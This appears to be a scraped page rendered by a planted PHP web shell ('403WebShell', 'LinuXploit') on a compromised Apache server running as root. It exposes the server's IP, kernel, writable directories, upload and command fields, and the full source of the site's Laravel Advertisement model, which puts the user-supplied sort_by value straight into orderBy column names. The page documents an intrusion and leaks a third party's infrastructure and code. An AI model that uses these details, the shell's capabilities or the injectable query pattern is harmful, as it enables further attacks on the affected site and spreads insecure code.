Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/app/Models/Advertisement.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Builder;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\SoftDeletes;
use Illuminate\Support\Facades\DB;

class Advertisement extends Model
{
    use HasFactory, SoftDeletes;

    /**
     * The attributes that are mass assignable.
     *
     * @var list<string>
     */

    protected $fillable = [
        'advertise_type',
        'title',
        'description',
        'image',
        'machine_type_id',
        'machine_model_id',
        'year_manufactured',
        'category_id',
        'price',
        'rent_monthly',
        'running_hours',
        'condition',
        'location',
        'state',
        'latitude',
        'longitude',
        'is_sold',
        'is_publish',
        'is_draft',
        'user_id',
        'status',
        'uuid',
        'approved_at',
        'rejected_at'

    ];

    protected $hidden = [
        'updated_at'
    ];

    protected $appends = ['formatted_price'];

    public function user()
    {
        return $this->hasOne(User::class, 'id', 'user_id')
            ->select("id", "email", "name", "profile_image", "mobile_number");
    }

    public function machine_type()
    {
        return $this->hasOne(MachineType::class, 'id', 'machine_type_id')->select("id", "name");
    }

    public function machine_model()
    {
        return $this->hasOne(MachineModel::class, 'id', 'machine_model_id')->select("id", "name");
    }

    public function boosts()
    {
        return $this->hasMany(BoostAd::class, 'ad_id');
    }

    public function images()
    {
        return $this->hasMany(AdImage::class, 'ad_id', 'id');
    }

    public function messages()
    {
        return $this->hasMany(Message::class, 'ad_id');
    }

    public function getFormattedPriceAttribute()
    {
        $format = config('constants.CURRENCY');
        $locale = config("constants.CURRENCY_LOCALE");
        return $this->price ? format_currency($this->price, $format, $locale) : null;
    }

    public function getRentMonthlyAttribute($value)
    {
        if (is_null($value)) {
            return null;
        }

        $currency = config('constants.CURRENCY');
        $locale   = config('constants.CURRENCY_LOCALE');

        return format_currency($value, $currency, $locale);
    }


    public function scopeSearchKeyword(Builder $builder, $keyword): void
    {
        $builder->when($keyword, function ($query) use ($keyword) {
            $query->where(function ($q) use ($keyword) {
                $q->where('advertisements.title', 'LIKE', "%{$keyword}%")
                    ->orWhere('advertisements.description', 'LIKE', "%{$keyword}%")
                    ->orWhere('advertisements.condition', 'LIKE', "%{$keyword}%")
                    ->orWhere('advertisements.state', 'LIKE', "%{$keyword}%")
                    ->orWhereHas('machine_type', fn($sub) => $sub->where('name', 'LIKE', "%{$keyword}%"))
                    ->orWhereHas('machine_model', fn($sub) => $sub->where('name', 'LIKE', "%{$keyword}%"));
            });
        });
    }

    public function scopeDefaultModels(Builder $builder): void
    {
        $builder->with([
            'machine_type',
            'machine_model',
            'images'
        ]);
    }

    public function scopeAdvertiseType(Builder $builder, $type): void
    {
        $builder->where("advertise_type", $type);
    }

    public function scopeStatus(Builder $builder, $status): void
    {
        $builder->where("status", $status);
    }

    public function scopePublish(Builder $builder): void
    {
        $builder->where("is_publish", true);
    }

    public function scopeDraft(Builder $builder): void
    {
        $builder->where("is_draft", false);
    }

    public function scopeWithUser(Builder $builder)
    {
        $builder->with('user');
    }

    public function scopeDistance(Builder $builder, $userLat = 0, $userLng = 0, $distanceMin = 0, $distanceMax = 0)
    {
        $builder->when(!is_null($userLat) && !is_null($userLng) && !is_null($distanceMin) && !is_null($distanceMax), function ($query) use ($userLat, $userLng, $distanceMin, $distanceMax) {
            $query->select('*')
                ->selectRaw("CALCULATE_DISTANCE(?, ?, advertisements.latitude, advertisements.longitude, 'km') as distance", [
                    $userLng,
                    $userLat
                ])
                ->having('distance', '>=', $distanceMin)
                ->having('distance', '<=', $distanceMax);
        });
    }

    public function scopeState(Builder $builder, $state)
    {
        $builder->when(!empty($state), function ($query) use ($state) {
            $query->where(function ($q) use ($state) {
                foreach ($state as $s) {
                    $q->orWhereJsonContains('state', $s);
                }
            });
        });
    }

    public const PerPageRecord = "10";


    public static function GetAdvertises($request, $type = null, $userId = null, $status = null)
    {
        $keyword = getValue($request->input('keyword'));
        $offset = getValue($request->input('offset'), 0);
        $sort_by = getValue($request->input('sort_by'), 'created_at');
        $order_by = getValue($request->input('order_by'), 'DESC');

        $query = self::query()
            ->defaultModels()
            ->searchKeyword($keyword)
            ->when(!$userId, fn($q) => $q->status("ACCEPT")->publish()->draft())
            ->when($userId, fn($q) => $q->where("user_id", $userId))
            ->when($type, fn($q) => $q->advertiseType($type))
            ->when($status, fn($q) => $q->status($status))
            ->leftJoin('boost_ads', function ($join) {
                $join->on('advertisements.id', '=', 'boost_ads.ad_id')
                    ->where('boost_ads.is_active', true);
            })
            ->select('advertisements.*')
            ->selectRaw('MAX(boost_ads.id) as boost_id, MAX(boost_ads.created_at) as boost_created_at')
            ->groupBy('advertisements.id')
            ->orderByRaw("CASE WHEN MAX(boost_ads.id) IS NOT NULL THEN 0 ELSE 1 END")
            ->orderByRaw("MAX(boost_ads.created_at) DESC")
            ->orderBy("advertisements.$sort_by", $order_by);

        $data['count'] = $query->clone()->count();

        $query->offset($offset * self::PerPageRecord)
            ->limit(self::PerPageRecord);

        $data['list'] = $query->get();
        $data['next_offset'] = count($data['list']) == self::PerPageRecord ? $offset + 1 : -1;

        return $data;
    }

    public static function GetHomeAdvertises($request, $type = null)
    {
        $user = User::find(USER_ID());
        $state = getValue($request->input('states'));
        $distanceMin = getValue($request->input('distance_min', 0));
        $distanceMax = getValue($request->input('distance_max', 99999));
        $userLat = $user->latitude ?? $request->input('latitude', 0);
        $userLng = $user->longitude ?? $request->input('longitude', 0);
        $limit = getValue($request->input('limit', 6));
        $query = self::query()
            ->defaultModels()
            ->status("ACCEPT")
            ->publish()
            ->draft()
            ->when($type, fn($q) => $q->advertiseType($type))
            ->state($state)
            ->distance($userLat, $userLng, $distanceMin, $distanceMax)
            ->leftJoin('boost_ads', function ($join) {
                $join->on('advertisements.id', '=', 'boost_ads.ad_id')
                    ->where('boost_ads.is_active', true);
            })
            ->select('advertisements.*')
            ->selectRaw('MAX(boost_ads.id) as boost_id, MAX(boost_ads.created_at) as boost_created_at')
            ->groupBy('advertisements.id')
            ->orderByRaw("CASE WHEN MAX(boost_ads.id) IS NOT NULL THEN 0 ELSE 1 END")
            ->orderByRaw("MAX(boost_ads.created_at) DESC")
            ->orderBy('advertisements.created_at', 'DESC')
            ->take($limit);
        $data['list'] = $query->get();
        return $data;
    }


    public static function GetCatAdvertises($request, $id)
    {
        $user = User::find(USER_ID());
        $keyword = getValue($request->input('keyword'));
        $offset = getValue($request->input('offset'), 0);
        $sort_by = getValue($request->input('sort_by'), 'created_at');
        $order_by = getValue($request->input('order_by'), 'DESC');
        $states = $request->query('states'); // "Goa,Maharashtra"
        $stateArray = $states
            ? array_filter(array_map('trim', explode(',', $states)))
            : [];
        $priceMin = getValue($request->input('price_min'));
        $priceMax = getValue($request->input('price_max'));
        $distanceMin = getValue($request->input('distance_min', 0));
        $distanceMax = getValue($request->input('distance_max', 99999));

        $userLat = $user->latitude ?? $request->input('latitude', 0);
        $userLng = $user->longitude ?? $request->input('longitude', 0);

        $query = self::query()
            ->defaultModels()
            ->where("machine_type_id", $id)
            ->publish()
            ->draft()
            ->status("ACCEPT")
            ->searchKeyword($keyword)
            ->when($stateArray, function ($query) use ($stateArray) {
                $query->whereIn("advertisements.state", $stateArray);
            })
            ->distance($userLat, $userLng, $distanceMin, $distanceMax)
            ->when(!is_null($priceMin) && !is_null($priceMax), function ($query) use ($priceMin, $priceMax) {
                $query->whereBetween('price', [$priceMin, $priceMax]);
            })
            ->leftJoin('boost_ads', function ($join) {
                $join->on('advertisements.id', '=', 'boost_ads.ad_id')
                    ->where('boost_ads.is_active', true);
            })
            ->select('advertisements.*')
            ->selectRaw('MAX(boost_ads.id) as boost_id, MAX(boost_ads.created_at) as boost_created_at')
            ->groupBy('advertisements.id')
            ->orderByRaw("CASE WHEN MAX(boost_ads.id) IS NOT NULL THEN 0 ELSE 1 END")
            ->orderByRaw('MAX(boost_ads.created_at) DESC')
            ->orderBy("advertisements.$sort_by", $order_by);


        $perPage = self::PerPageRecord;
        // Clone query for total count
        $totalCount = (clone $query)->count();
        // Apply offset + limit
        $records = (clone $query)
            ->offset($offset * $perPage)
            ->limit($perPage)
            ->get();
        // Current page count
        $count = $records->count();
        // Prepare response
        $data['list'] = $records;
        $data['count'] = $count;
        $data['next_offset'] = ($offset + 1) * $perPage < $totalCount ? $offset + 1 : -1;
        // $data['total'] = $totalCount;

        return $data;
    }

    public static function GetAdvertisesList($request, $type = null, $userId = null, $status = null)
    {
        $keyword   = getValue($request->input('keyword'));
        $catId     = getValue($request->input('category'));
        $startDate = getValue($request->input('startDate'));
        $endDate   = getValue($request->input('endDate'));
        $offset    = getValue($request->input('offset'), 0);
        $sort_by   = getValue($request->input('sort_by'), 'created_at');
        $order_by  = getValue($request->input('order_by'), 'DESC');

        $query = self::query()
            ->defaultModels()
            ->draft()
            ->searchKeyword($keyword)
            ->when($type, function ($query) use ($type) {
                $query->advertiseType($type);
            })
            ->when($catId, function ($query) use ($catId) {
                $query->where('machine_type_id', $catId);
            })
            ->when($status, function ($query) use ($status) {
                $query->status($status);
            })
            ->when(!is_null($startDate) && !is_null($endDate), function ($q) use ($startDate, $endDate) {
                $q->whereDate('created_at', '>=', $startDate)
                    ->whereDate('created_at', '<=', $endDate);
            });

        $countQuery = (clone $query);
        $total = $countQuery->count();

        $perPage = self::PerPageRecord;
        $currentPage = max(1, (int)$offset + 1); // since your offset is page-indexed (0-based)
        $totalPages = $perPage > 0 ? (int) ceil($total / $perPage) : 0;

        $query->orderBy($sort_by, $order_by)
            ->offset($offset * $perPage)
            ->limit($perPage);

        $list = $query->get();
        $nextOffset = ($list->count() === $perPage && $currentPage < $totalPages) ? ($offset + 1) : -1;

        $data = [
            'count' => $total,
            'list' => $list,
            'current_page' => $currentPage,
            'next_offset' => $nextOffset,
            'per_page' => $perPage,
            'total_pages' => $totalPages,
        ];

        return $data;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit